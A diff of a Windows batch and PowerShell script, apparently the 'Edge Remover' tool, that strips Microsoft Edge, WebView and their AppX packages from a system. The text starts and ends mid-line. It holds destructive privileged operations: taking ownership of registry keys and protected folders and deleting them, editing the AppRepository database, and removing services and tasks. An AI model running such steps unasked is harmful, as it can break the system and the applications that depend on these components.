-reg delete "HKU\%1\SOFTWARE\Microsoft\MicrosoftEdge" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\Internet Explorer\EdgeDebugActivation" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\Internet Explorer\EdgeIntegration" /f -reg delete "HKU\%1\SOFTWARE\WOW6432Node\Microsoft\Edge" /f -reg delete "HKU\%1\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate" /f -reg delete "HKU\%1\SOFTWARE\WOW6432Node\Microsoft\MicrosoftEdge" /f - -reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\microsoft-edge" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\microsoft-edge-holographic" /f - -REM for current user require explorer restart -reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Taskband" /v "FavoritesRemovedChanges" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Taskband" /v "FavoritesVersion" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Taskband" /v "FavoritesChanges" /f - -:_user_reg_cleanup.sft.done -echo [user_reg_cleanup().sft.done] %cll_dbg% - -REM for user profiles "SOFTWARE\Classes" is a symlink, for internal profiles it's a real key -REM usually symlinks created by windows after hive load -REM but it's a bit complicated process(especially for batch) and not worth it here (i can talk!) -echo probing "SOFTWARE\Classes" %cll_dbg% -set "cls_path=%1\SOFTWARE\Classes" -reg query "HKU\%cls_path%" /ve -if %errorlevel% equ 0 goto _user_reg_cleanup.cls.ready - -echo prepare classes hive %cll_dbg% -set "cls_path=%1_Classes" -reg query "HKU\%cls_path%" /ve -REM location of user classes hive can be altered by user -if %errorlevel% neq 0 reg load "HKU\%cls_path%" "%~2\AppData\Local\Microsoft\Windows\UsrClass.dat" -if %errorlevel% neq 0 echo classes hive load fail %cll_dbg% & goto _user_reg_cleanup.cls.done - -:_user_reg_cleanup.cls.ready -echo classes hive ready %cll_dbg% - -echo cleanup classes hive %cll_dbg% -reg delete "HKU\%cls_path%\microsoft-edge" /f -reg delete "HKU\%cls_path%\microsoft-edge-holographic" /f - -:_user_reg_cleanup.cls.done -echo [user_reg_cleanup().cls.done] %cll_dbg% - -echo [user_reg_cleanup().end] %cll_dbg% -exit /b 0 - - - -REM ===== PowerShell(psl) based complex functions ===== - -REM psl code passed via stdin -REM code length should not exceed 8146 chars after batch vars expanding(8191 - 5 - 40; 5 - "echo "; 40 - call of psl?) -REM batch escape chars(^) and new lines(\r\n; unless escaped _properly_) not counts -REM to be continued, line must ends with ^ . first char of the next line will be escaped! -REM when next line starts with escaping of another char remove one ^ -REM when next line starts with double quoted string, percent or ^(cuz empty) put space or semicolon ahead -REM in the end this is a single line! put ; where command(line) ends and be careful with one-line comment -REM in-code char escaping(for passing to psl via stdin from batch; do not confuse with batch nor psl levels): -REM anywhere: % as %% ; ^ as ^^^^ ; & as ^^^& ; < as ^^^< ; > as ^^^> ; | as ^^^| ; " as ^^^" (unpaired only) -REM between double quotes: % as %% ; " as "" (simplification, resolves psl escaping as well); rest not required -REM https://ss64.com/nt/syntax-esc.html - -REM most(or all) of the functions here have no own arguments and simply checks env-vars, prepared for psl code -REM env-vars used to shorts psl code since they are easily accessible from it as from child process - - -REM get access and delete registry keys in HKLM hive -REM keys for TakeOwn+FullControl ONLY should be in reg_HKLM_keys_acs var -REM keys that also should be deleted - in reg_HKLM_keys_del var -REM DO NOT pass keys with values at tail -REM TakeOwn+FullControl operation may fails, but removing attempt will be made anyway -:reg_HKLM_keys_access_and_delete -echo [reg_HKLM_keys_access_and_delete()] %cll_dbg% -if defined reg_HKLM_keys_acs goto _reg_HKLM_keys_access_and_delete.psl -if not defined reg_HKLM_keys_del goto _reg_HKLM_keys_access_and_delete.end -:_reg_HKLM_keys_access_and_delete.psl -echo [reg_HKLM_keys_access_and_delete().psl] %cll_dbg% -echo ;^ -if ($env:reg_HKLM_keys_acs) { $key_paths_acs = $env:reg_HKLM_keys_acs.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ -if ($env:reg_HKLM_keys_del) { $key_paths_del = $env:reg_HKLM_keys_del.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ -$key_paths_acs += $key_paths_del;^ -if (!$key_paths_acs) { exit }^ -$user_ident = [System.Security.Principal.NTAccount]$env:UserName;^ -$access_rule = [System.Security.AccessControl.RegistryAccessRule]::new($user_ident, 0xF003F, 3, 0, 0);^ -$hive_HKLM = [Microsoft.Win32.Registry]::LocalMachine;^ -$ntdll = Add-Type -Member '[DllImport("ntdll.dll")] public static extern int RtlAdjustPrivilege(uint p, bool e, bool t, ref bool l);' -Name NtDll -PassThru;^ -$lp = 0; $tgl_rslt = $ntdll::RtlAdjustPrivilege(9, 1, 0, [ref]$lp);^ -;^ -if ($tgl_rslt -eq 0) {^ - "accessing"%psl_dbg%;^ - foreach ($key_path in $key_paths_acs) {^ - $key_path%psl_dbg%;^ - $key_obj = $hive_HKLM.OpenSubKey($key_path, 2, 0x80000);^ - if (!$key_obj) { "key not found"%psl_dbg%; continue };^ - ^ - ($acl = $key_obj.GetAccessControl()).SetOwner($user_ident);^ - $key_obj.SetAccessControl($acl);^ - $acl.AddAccessRule($access_rule);^ - $key_obj.SetAccessControl($acl);^ - $key_obj.Close();^ - }^ - $ntdll::RtlAdjustPrivilege(9, $lp, 0, [ref]$lp);^ -} else { "TakeOwnership enabling failed (0x{0:x8}); attempt to remove anyway" -f $tgl_rslt%psl_dbg% }^ -;"removing"%psl_dbg%;^ -foreach ($key_path in $key_paths_del) { $key_path%psl_dbg%; $hive_HKLM.DeleteSubKeyTree($key_path) }^ -;| powershell -noprofile - - -:_reg_HKLM_keys_access_and_delete.end -echo [reg_HKLM_keys_access_and_delete().end] %cll_dbg% -exit /b 0 - - -REM unlock and delete all packages from the list -REM list should be in pkgs_list var -REM System.Data.SQLite.dll should be ready to use -:appx_unlock_and_delete -echo [appx_unlock_and_delete()] %cll_dbg% -if not defined pkgs_list goto _appx_unlock_and_delete.end -:_appx_unlock_and_delete.psl -echo [appx_unlock_and_delete().psl] %cll_dbg% -echo function main() {^ - $pkgs = $env:pkgs_list.Split(' ', [StringSplitOptions]::RemoveEmptyEntries);^ - if ($pkgs.Count -eq 0) { "empty packages list"%psl_dbg%; return }^ - $locked_pkgs, $pkgs = $pkgs.Where({$_[0] -eq '1'}, 'Split');^ - $locked_pkgs = $locked_pkgs.ForEach({$_.Substring(1)});^ - $pkgs = $pkgs.ForEach({$_.Substring(1)});^ - ^ - if ($env:reg_SFT_paths_scn) { $reg_sft_paths_scn = $env:reg_SFT_paths_scn.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ - if ($env:reg_CLS_paths_scn) { $reg_cls_paths_scn = $env:reg_CLS_paths_scn.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ - if ($reg_sft_paths_scn -or $reg_cls_paths_scn) {^ - $usids_exclude = @('S-1-5-18', 'S-1-5-19', 'S-1-5-20');^ - $reg_usrs_hives = (reg query "$env:REG_USERS_PATH" /k /f "*").ForEach({$_.Substring($_.LastIndexOf('\')+1)}).Where({$_.StartsWith('S-1-') -and -not $usids_exclude.Contains($_)});^ - $reg_sft_hives = ($reg_usrs_hives.ForEach({"HKU\$_\SOFTWARE\"})) + @('HKU\.DEFAULT\SOFTWARE\', 'HKLM\SOFTWARE\');^ - $reg_cls_hives = ($reg_usrs_hives.ForEach({"HKU\$_`_Classes\"})) + @('HKU\.DEFAULT\SOFTWARE\Classes\', 'HKLM\SOFTWARE\Classes\');^ - }^ - ^ - if ($locked_pkgs.Count -gt 0) {^ - Add-Type -Path $env:file_SQLite;^ - $attempts = 3; $rslt = $false;^ - while ($attempts) { --$attempts; Unlock-Packages $locked_pkgs ([ref]$rslt); if ($rslt) { break }; Start-Sleep 3 }^ - if ($rslt) { $pkgs += $locked_pkgs } else { "package(s) still locked, exclude:`n" + ($locked_pkgs -join "`n")%psl_dbg% }^ - }^ - ^ - "removing"%psl_dbg%;^ - foreach ($pkg in $pkgs) {^ - "package: $pkg`nremove"%psl_dbg%;^ - Remove-AppxPackage -Package $pkg -User $env:USER_SID;^ - Remove-AppxPackage -Package $pkg -AllUsers;^ - ^ - $pkg_parts = $pkg.Split('_');^ - foreach ($reg_sft_hive in $reg_sft_hives) { reg delete "$reg_sft_hive`Microsoft\UserData\UninstallTimes" /v "$($pkg_parts[0])_$($pkg_parts[4])" /f }^ - RegCleanup-Package($pkg_parts);^ - $edge_chnl_pos = $pkg_parts[0].IndexOf('.MicrosoftEdge.');^ - if ($edge_chnl_pos -ge 0) {^ - "cleanup of base package"%psl_dbg%;^ - $pkg_parts[0] = $pkg_parts[0].Substring(0, $edge_chnl_pos + 14);^ - RegCleanup-Package $pkg_parts;^ - }^ - ^ - "deprovision"%psl_dbg%;^ - reg add "$env:REG_APPX_STORE\EndOfLife\$env:USER_SID\$pkg" /f;^ - reg add "$env:REG_APPX_STORE\EndOfLife\S-1-5-18\$pkg" /f;^ - reg add "$env:REG_APPX_STORE\Deprovisioned\$pkg" /f;^ - ^ - "package removed"%psl_dbg%;^ - }^ -}^ -function Unlock-Packages($pkgs, [ref]$rslt) {^ - "[Unlock-Packages()]`nstopping services"%psl_dbg%;^ - $rslt.Value = $false;^ - Stop-Service StateRepository -Force;^ - ^ - "acessing db files"%psl_dbg%;^ - takeown /f "$env:LOC_APPREPO_DB";^ - takeown /f "$env:LOC_APPREPO_DB`-shm";^ - takeown /f "$env:LOC_APPREPO_DB`-wal";^ - icacls "$env:LOC_APPREPO_DB*" /grant "$env:UserName`:F" /c;^ - ^ - "unlocking"%psl_dbg%;^ - $con = [System.Data.SQLite.SQLiteConnection]::new("Data Source=$env:LOC_APPREPO_DB");^ - $con.Open();^ - $cmd = $con.CreateCommand();^ - $cmd.CommandText = "SELECT name,sql FROM sqlite_master WHERE type='trigger' AND tbl_name='Package' AND name LIKE'%%AFTER%%' AND name LIKE'%%UPDATE%%'";^ - $res = $cmd.ExecuteReader();^ - $trgs = @{};^ - while ($res.Read()) { $trgs[$res.GetString(0)] = $res.GetString(1) } $res.Close();^ - ^ - try {^ - foreach ($trg_name in $trgs.Keys) { $cmd.CommandText = "DROP TRIGGER $trg_name"; $cmd.ExecuteNonQuery() }^ - foreach ($pkg in $pkgs) {^ - "package: $pkg"%psl_dbg%;^ - $cmd.CommandText = "UPDATE Package SET IsInbox=0 WHERE PackageFullName='$pkg'"; $cmd.ExecuteNonQuery();^ - reg delete "$env:REG_APPX_STORE\InboxApplications\$pkg" /f;^ - }^ - foreach ($trg_query in $trgs.Values) { $cmd.CommandText = $trg_query; $cmd.ExecuteNonQuery() }^ - "unlocked"%psl_dbg%;^ - $rslt.Value = $true^ - }^ - catch { $_%psl_dbg%; "unlocking failed"%psl_dbg% }^ - ^ - $con.Close();^ - "[Unlock-Packages().end]"%psl_dbg%^ -}^ -function RegCleanup-Package($pkg_fname_parts) {^ - "[RegCleanup-Package()]`nregistry scan"%psl_dbg%;^ - $pkg_name = $pkg_fname_parts[0] + '_';^ - $pkg_pid = '_' + $pkg_fname_parts[4];^ - $reg_pkg_keys = @();^ - foreach ($reg_sft_hive in $reg_sft_hives) {^ - foreach ($reg_sft_path in $reg_sft_paths_scn) {^ - $reg_pkg_keys += (reg query "$reg_sft_hive$reg_sft_path" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ - }^ - }^ - foreach ($reg_cls_hive in $reg_cls_hives) {^ - foreach ($reg_cls_path in $reg_cls_paths_scn) {^ - $reg_pkg_keys += (reg query "$reg_cls_hive$reg_cls_path" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ - }^ - }^ - $reg_pkg_keys += (reg query "$env:REG_APPX_STORE" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ - $reg_pkg_keys += (reg query "$env:REG32_APPX_STORE" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ - ^ - "registry cleanup"%psl_dbg%;^ - foreach ($reg_pkg_key in $reg_pkg_keys) { $reg_pkg_key%psl_dbg%; reg delete $reg_pkg_key /f }^ - "[RegCleanup-Package().end]"%psl_dbg%;^ -}^ -main;^ -;| powershell -noprofile - - -:_appx_unlock_and_delete.end -echo [appx_unlock_and_delete().end] %cll_dbg% -exit /b 0 - +@echo off & setlocal +REM land "clever" users back to native env (Win Vista and up; start /b not used due to some oddities) +if defined PROCESSOR_ARCHITEW6432 "%WinDir%\SysNative\cmd.exe" /c ""%~0" %*" & exit /b 0 + +REM +REM Check permissions and elevate if required +REM Obtain required files (from cache or from repo with hash validation) +REM Remove Edge +REM Remove WebView +REM Remove AppX +REM Remove Edge remains +REM Remove WebView remains +REM Remove AppX remains +REM Remove Extras +REM + +set "ISSUE_GENERIC=1" +set "ISSUE_UAC=2" +set "ISSUE_NETWORK=3" +set "ISSUE_DOWNLOAD=4" +set "ISSUE_HASH=5" +set "ISSUE_ARCH=6" + +REM check for architecture (x86 and amd64 are supported, arm - not) +if /i "%PROCESSOR_ARCHITECTURE%" equ "amd64" goto arch.pass +if /i "%PROCESSOR_ARCHITECTURE%" equ "x86" goto arch.pass +echo "%PROCESSOR_ARCHITECTURE%" platform is unsupported & echo. & pause & exit /b %ISSUE_ARCH% +:arch.pass + +set "SCRIPT_VERSION=11/26/2025" +REM set logging verbosity ( log_lvl.none, log_lvl.errors, log_lvl.debug ) +REM also set elevated cmd mode (%ecm% var; /c or /k ) +REM log_lvl.debug checks for argument, but due to the call, batch args "hidden", so pass it +call :log_lvl.debug "%~1" + +title Edge Remover - %SCRIPT_VERSION% +echo [main_script.start] %bat_dbg% + + + +echo [uac()] %bat_dbg% +REM Get executor SID (Win 2003(XP x64) and up) +for /f "skip=1 tokens=1,2 delims=," %%a in ('whoami /user /fo csv') do set "EXEC_SID=%%~b" +REM When script elevates itself, the user SID should be passed as 1st argument (bad input here is not my fault) +set "USER_SID=%~1" +REM Check Admin permissions +net session >NUL 2>&1 +echo err: %errorlevel%; EXEC_SID: "%EXEC_SID%"; USER_SID: "%USER_SID%" %bat_dbg% +if %errorlevel% equ 0 goto uac.success +REM When UAC disabled, elevation not works and SID never changes +if /i "%EXEC_SID%" equ "%USER_SID%" ( + echo Please, enable UAC and try again & echo. & pause & exit /b %ISSUE_UAC% +) +REM When 1st arg looks like valid NT_AUTHORITY SID, assume elevation by script (prevent infinite loop aka UAC bombing) +if /i "%USER_SID:~0,6%" equ "S-1-5-" ( + REM DO NOT put on the same line as condition: using another var after substring when its source is empty leads to hard fail + echo Built-in Admin account possibly corrupted & echo. & pause & exit /b %ISSUE_UAC% +) +REM Elevate with psl (don't try go around cmd /c, there are 3 reasons for this) +REM quotes levels │┌┤ ├┐│ │ ┌┤┌┤ ├┐ ┌┤ ├┐├┐│ +REM quotes open-closing(pipe) <>< ><> < ><>< >< >< ><><> +echo Start-Process -Verb RunAs """$env:COMSpec""" "%ecm% """"%~0"" ""%EXEC_SID%"""""|powershell -noprofile - %bat_log% +echo [uac().elevated] err: "%errorlevel%" %bat_dbg% +exit /b %errorlevel% + +REM Admin permissions granted, executor SID may be a SID of Built-in Admin account if it's enabled +:uac.success +echo [uac().success] %bat_dbg% +REM 1st arg looks like valid rev.1 SID (assume elevation by script) +if /i "%USER_SID:~0,4%" equ "S-1-" goto uac.done +REM 1st arg does not look like valid SID (elevation NOT by script) +set "USER_SID=%EXEC_SID%" +REM When Built-in Admin account disabled, SID does not change on elevation and usually match the condition +if "%EXEC_SID:~-4%" neq "-500" goto uac.done +REM For automaters: when Built-in Admin account enabled, specify "-auto" as 1st argument to bypass confirmation +if /i "%~1" equ "-auto" goto uac.done +REM Built-in Admin account enabled and script not self elevated nor automated +choice /c yn /n /m "Logged as Admin? [Y,N]" +REM Check for positive answer, anything else considered as No +echo answer: %errorlevel% %bat_dbg% +if %errorlevel% equ 1 goto uac.done +echo Please, run script without elevation & echo. & pause & exit /b %ISSUE_UAC% + +:uac.done +echo [uac().done] %bat_dbg% + + + +set "has_net=0" +ipconfig | find "IPv" >NUL 2>&1 +if %errorlevel% equ 0 set "has_net=1" +echo has network: %has_net% %bat_dbg% + +REM prepare architecture-depend stuff +REM note: name of such files are arch-less on usage +REM in case of setup.exe it's just for simplicity/consistency +REM in case of sqlite.dll it's required, otherwise "dll not found" error pops out on usage +REM files stored with arch-rich names(better for offline scenario), then hardlinks with arch-less names created +echo - Obtaining required files +echo [prepare()] %bat_dbg% +goto prepare.%PROCESSOR_ARCHITECTURE% + + +:prepare.amd64 +echo [prepare().amd64] %bat_dbg% + +set "x86ProgramsFolder=%ProgramFiles(x86)%" + +call :file_obtain^ + "setup.x64.exe"^ + "0950336e0d633eb645e0cf66780d2102a182caa184264d4f62146fe229f636e7"^ + "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/setup.x64.exe"^ + "file_setup_loc"^ + %bat_log% +if %errorlevel% neq 0 echo Cannot obtain "setup.exe" (%errorinfo%) & echo. & pause & exit /b %errorlevel% + +call :file_obtain^ + "System.Data.SQLite.x64.dll"^ + "1b3742c5bd1b3051ae396c6e62d1037565ca0cbbedb35b460f7d10a70c30376f"^ + "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/System.Data.SQLite.x64.dll"^ + "file_SQLite_loc"^ + %bat_log% +if %errorlevel% neq 0 echo Cannot obtain "System.Data.SQLite.dll" (%errorinfo%) & echo. & pause & exit /b %errorlevel% + +REM prepare names for hardlinks +REM it made so, cuz files has several possible storage locations (%dp0 or %Temp%) +REM which one will be in use is unknown +set "file_setup=%file_setup_loc:.x64.=.%" +set "file_SQLite=%file_SQLite_loc:.x64.=.%" + +goto prepare.end + + +:prepare.x86 +echo [prepare().x86] %bat_dbg% + +set "x86ProgramsFolder=%ProgramFiles%" + +REM Thanks to @Ameterius for the 32bit setup.exe +call :file_obtain^ + "setup.x86.exe"^ + "97935c67fe17c388cff6c498b565130f9262ea9518150303fff08576c67cfd9d"^ + "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/setup.x86.exe"^ + "file_setup_loc"^ + %bat_log% +if %errorlevel% neq 0 echo Cannot obtain "setup.exe" (%errorinfo%) & echo. & pause & exit /b %errorlevel% + +call :file_obtain^ + "System.Data.SQLite.x86.dll"^ + "845f7cbae72cf0a09a7f8740029ea9a15cb3a51c0b883b67b6ff1fc15fb26729"^ + "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/System.Data.SQLite.x86.dll"^ + "file_SQLite_loc"^ + %bat_log% +if %errorlevel% neq 0 echo Cannot obtain "System.Data.SQLite.dll" (%errorinfo%) & echo. & pause & exit /b %errorlevel% + +REM prepare hardlinks names +set "file_setup=%file_setup_loc:.x86.=.%" +set "file_SQLite=%file_SQLite_loc:.x86.=.%" + +goto prepare.end + +:prepare.end +echo [prepare().end] %bat_dbg% +REM delete possibly existing files of previous version or links, remained from hard failure +del /f /q "%file_setup%" %bat_log% +del /f /q "%file_SQLite%" %bat_log% +REM create new hardlinks (will looks like real files) +fsutil hardlink create "%file_setup%" "%file_setup_loc%" %bat_log% +fsutil hardlink create "%file_SQLite%" "%file_SQLite_loc%" %bat_log% + +echo x86ProgramsFolder: %x86ProgramsFolder% %bat_dbg% +echo [prepare().done] %bat_dbg% + + + +REM Edge uninstalling removes its package as well +REM but package name required for cleanup, so +REM query packages by pattern before Edge uninstalling +echo query packages %bat_dbg% +set "pkgs_pattern=*microsoftedge*" +for /f "delims=" %%p in ('powershell -noprofile -c "$pkgs='';foreach($pkg in (Get-AppxPackage -AllUsers).Where({$_.PackageFullName -like $env:pkgs_pattern})){$pkgs+=' '+[int]$pkg.NonRemovable+$pkg.PackageFullName}$pkgs.Trim()"') do ( + set "pkgs_list=%%~p" +) +echo "%pkgs_list%" %bat_dbg% +echo packages queried %bat_dbg% + + + +%stp_dbg_rst% + + + +REM #Uninstall +echo [uninstall()] %bat_dbg% +echo - Removing Edge +echo [uninstall().edge.init] %bat_dbg% +where "%x86ProgramsFolder%\Microsoft\Edge\Application:*" %bat_log% +if %errorlevel% neq 0 goto uninstall.edge.done + +echo [uninstall().edge] %bat_dbg% +taskkill /im MicrosoftEdgeUpdate.exe /f /t %bat_log% +start /w "" "%file_setup%" --uninstall --system-level --force-uninstall %stp_dbg_arg% %bat_log% +%stp_dbg_get% + +:uninstall.edge.done +echo [uninstall().edge.done] %bat_dbg% + + +echo - Removing WebView +echo [uninstall().webview.init] %bat_dbg% +where "%x86ProgramsFolder%\Microsoft\EdgeWebView\Application:*" %bat_log% +if %errorlevel% neq 0 goto uninstall.webview.done + +echo [uninstall().webview] %bat_dbg% +start /w "" "%file_setup%" --uninstall --msedgewebview --system-level --force-uninstall %stp_dbg_arg% %bat_log% +%stp_dbg_get% + +:uninstall.webview.done +echo [uninstall().webview.done] %bat_dbg% + + +echo - Removing WebView (evergreen) +echo [uninstall().webview.evergreen.init] %bat_dbg% +if not exist "%LOCALAPPDATA%\Microsoft\EdgeWebView\Application\" goto uninstall.webview.evergreen.done + +echo [uninstall().webview.evergreen] %bat_dbg% +for /f "delims=" %%d in ('dir /b /ad "%LOCALAPPDATA%\Microsoft\EdgeWebView\Application" 2^>NUL') do ( + if exist "%LOCALAPPDATA%\Microsoft\EdgeWebView\Application\%%~d\Installer\setup.exe" ( + start /w "" "%LOCALAPPDATA%\Microsoft\EdgeWebView\Application\%%~d\Installer\setup.exe" --uninstall --msedgewebview --force-uninstall %stp_dbg_arg% %bat_log% + %stp_dbg_get% + ) +) + +echo - Removing AppX +echo [uninstall().appx.init] %bat_dbg% +set "LOC_APPREPO_DB=%AllUsersProfile%\Microsoft\Windows\AppRepository\StateRepository-Machine.srd" +set "REG_USERS_PATH=HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" +set "REG_APPX_STORE=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" +set "REG32_APPX_STORE=HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" + +set "reg_SFT_paths_scn=" +set "reg_CLS_paths_scn=" +REM Registry locations for scan and remove appx keys, max length after batch vars expanding - 8167(8191 - 24; 24 - "set "reg_???_paths_scn="") +REM delimiter is \\, any other chars is allowed in key name; values can contains even backslash +REM scan is recursive and searches for keys, which names matches two patterns: PackageName_* and *_PublisherId + +REM reg_SFT_paths_scn - is only for keys located under HIVE\SOFTWARE key +REM HIVE\SOFTWARE\ part should be excluded from path +echo [uninstall().appx.init.reg_SFT] %bat_dbg% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\SecurityManager\CapAuthz\ApplicationsEx" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\AppHost\IndexedDB" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\PushNotifications\Backup" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\Capabilities" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows NT\CurrentVersion\BackgroundModel\PreInstallTasks\RequireReschedule" %bat_log% +REM reg_CLS_paths_scn - is only for keys located under HIVE\SOFTWARE\Classes key +REM HIVE\SOFTWARE\Classes\ part should be excluded from path (for user profile hives it's a symlink, for internal - a real key) +echo [uninstall().appx.init.reg_CLS] %bat_dbg% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\ActivatableClasses\Package" %bat_log% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Extensions\ContractId" %bat_log% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\MrtCache" %bat_log% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PolicyCache" %bat_log% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData" %bat_log% + +echo [uninstall().appx] %bat_dbg% +call :appx_unlock_and_delete %bat_log% + +echo [uninstall().appx.done] %bat_dbg% + +echo [uninstall().end] %bat_dbg% + + + +REM #Cleanup +echo [cleanup()] %bat_dbg% +echo - Cleaning Edge remains +echo [cleanup().edge] %bat_dbg% + +REM Delete Edge empty folders +echo [cleanup().edge.dirs] %bat_dbg% +rd /s /q "%x86ProgramsFolder%\Microsoft\Edge" %bat_log% +rd /s /q "%x86ProgramsFolder%\Microsoft\EdgeCore" %bat_log% +rd /s /q "%x86ProgramsFolder%\Microsoft\EdgeUpdate" %bat_log% +rd /s /q "%x86ProgramsFolder%\Microsoft\Temp" %bat_log% +rd /s /q "%AllUsersProfile%\Microsoft\EdgeUpdate" %bat_log% + +REM Delete Edge Update Tasks +echo [cleanup().edge.tasks] %bat_dbg% +for /f "tokens=1 delims=," %%n in ('schtasks /query /fo csv') do ( call :task_remove "%%~n" %bat_log% ) + +REM Delete Edge Update Services +echo [cleanup().edge.services] %bat_dbg% +set "service_names=edgeupdate edgeupdatem microsoftedgeelevationservice" +for %%n in (%service_names%) do ( call :service_remove "%%~n" %bat_log% ) + +REM Delete Desktop, StartMenu and TaskBar shortcuts; cleanup user registry +echo [cleanup().edge.users] %bat_dbg% +for /f "skip=2 tokens=2*" %%c in ('reg query "%REG_USERS_PATH%" /v Public') do ( call :user_lnks_remove_by_path "%%~d" %bat_log% ) +del /f /q "%AllUsersProfile%\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk" %bat_log% +for /f "skip=2 tokens=2*" %%c in ('reg query "%REG_USERS_PATH%" /v Default') do ( + call :user_lnks_remove_by_path "%%~d" %bat_log% + call :user_reg_cleanup .DEFAULT "%%~d" %bat_log% +) +for /f "skip=1 tokens=7 delims=\" %%k in ('reg query "%REG_USERS_PATH%" /k /f "*"') do ( call :user_cleanup_by_sid %%k %bat_log% ) + +echo [cleanup().edge.done] %bat_dbg% + + +echo - Cleaning WebView remains +echo [cleanup().webview] %bat_dbg% + +REM Delete WebView empty folders +echo [cleanup().webview.dirs] %bat_dbg% +rd /s /q "%x86ProgramsFolder%\Microsoft\EdgeWebView" %bat_log% + +echo [cleanup().webview.done] %bat_dbg% + + +echo - Cleaning AppX remains +echo [cleanup().appx] %bat_dbg% +REM Delete remained packages +REM %SystemRoot%\SystemApps\Microsoft.MicrosoftEdge* +echo [cleanup().appx.SystemApps] %bat_dbg% +for /d %%d in ("%SystemRoot%\SystemApps\Microsoft.MicrosoftEdge*") do ( + echo dir: "%%~d" %bat_dbg% + takeown /f "%%~d" /r /d y %bat_dbg% + icacls "%%~d" /grant "%UserName%:F" /t /c %bat_dbg% + rd /s /q "%%~d" %bat_log% +) +REM %ProgramFiles%\WindowsApps\Microsoft.MicrosoftEdge* +echo [cleanup().appx.WindowsApps] %bat_dbg% +for /d %%d in ("%ProgramFiles%\WindowsApps\Microsoft.MicrosoftEdge*") do ( + echo dir: "%%~d" %bat_dbg% + takeown /f "%%~d" /r /d y %bat_dbg% + icacls "%%~d" /grant "%UserName%:F" /t /c %bat_dbg% + rd /s /q "%%~d" %bat_log% +) + +echo [cleanup().appx.done] %bat_dbg% + +echo [cleanup().end] %bat_dbg% + + + +REM #Additional Data +echo - Removing additional data +echo [extra_cleanup()] %bat_dbg% +REM Registry +echo [extra_cleanup().registry.regular] %bat_dbg% +reg delete "HKLM\SOFTWARE\Classes\AppID\MicrosoftEdgeUpdate.exe" /f %bat_log% +reg delete "HKLM\SOFTWARE\Classes\AppID\{1FCBE96C-1697-43AF-9140-2897C7C69767}" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{9459C573-B17A-45AE-9F64-1857B5D58CEE}" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\Edge" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\EdgeUpdate" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\MicrosoftEdge" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\Internet Explorer\EdgeDebugActivation" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\Internet Explorer\EdgeIntegration" /f %bat_log% +reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Edge" /f %bat_log% +reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate" /f %bat_log% +reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\MicrosoftEdge" /f %bat_log% + +set "reg_HKLM_keys_del=" +REM Keys for TakeOwn+FullControl and deleting, max length after batch vars expanding - 8167(8191 - 24; 24 - "set "reg_HKLM_keys_del="") +REM delimiter is \\, any other chars is allowed in key name; values 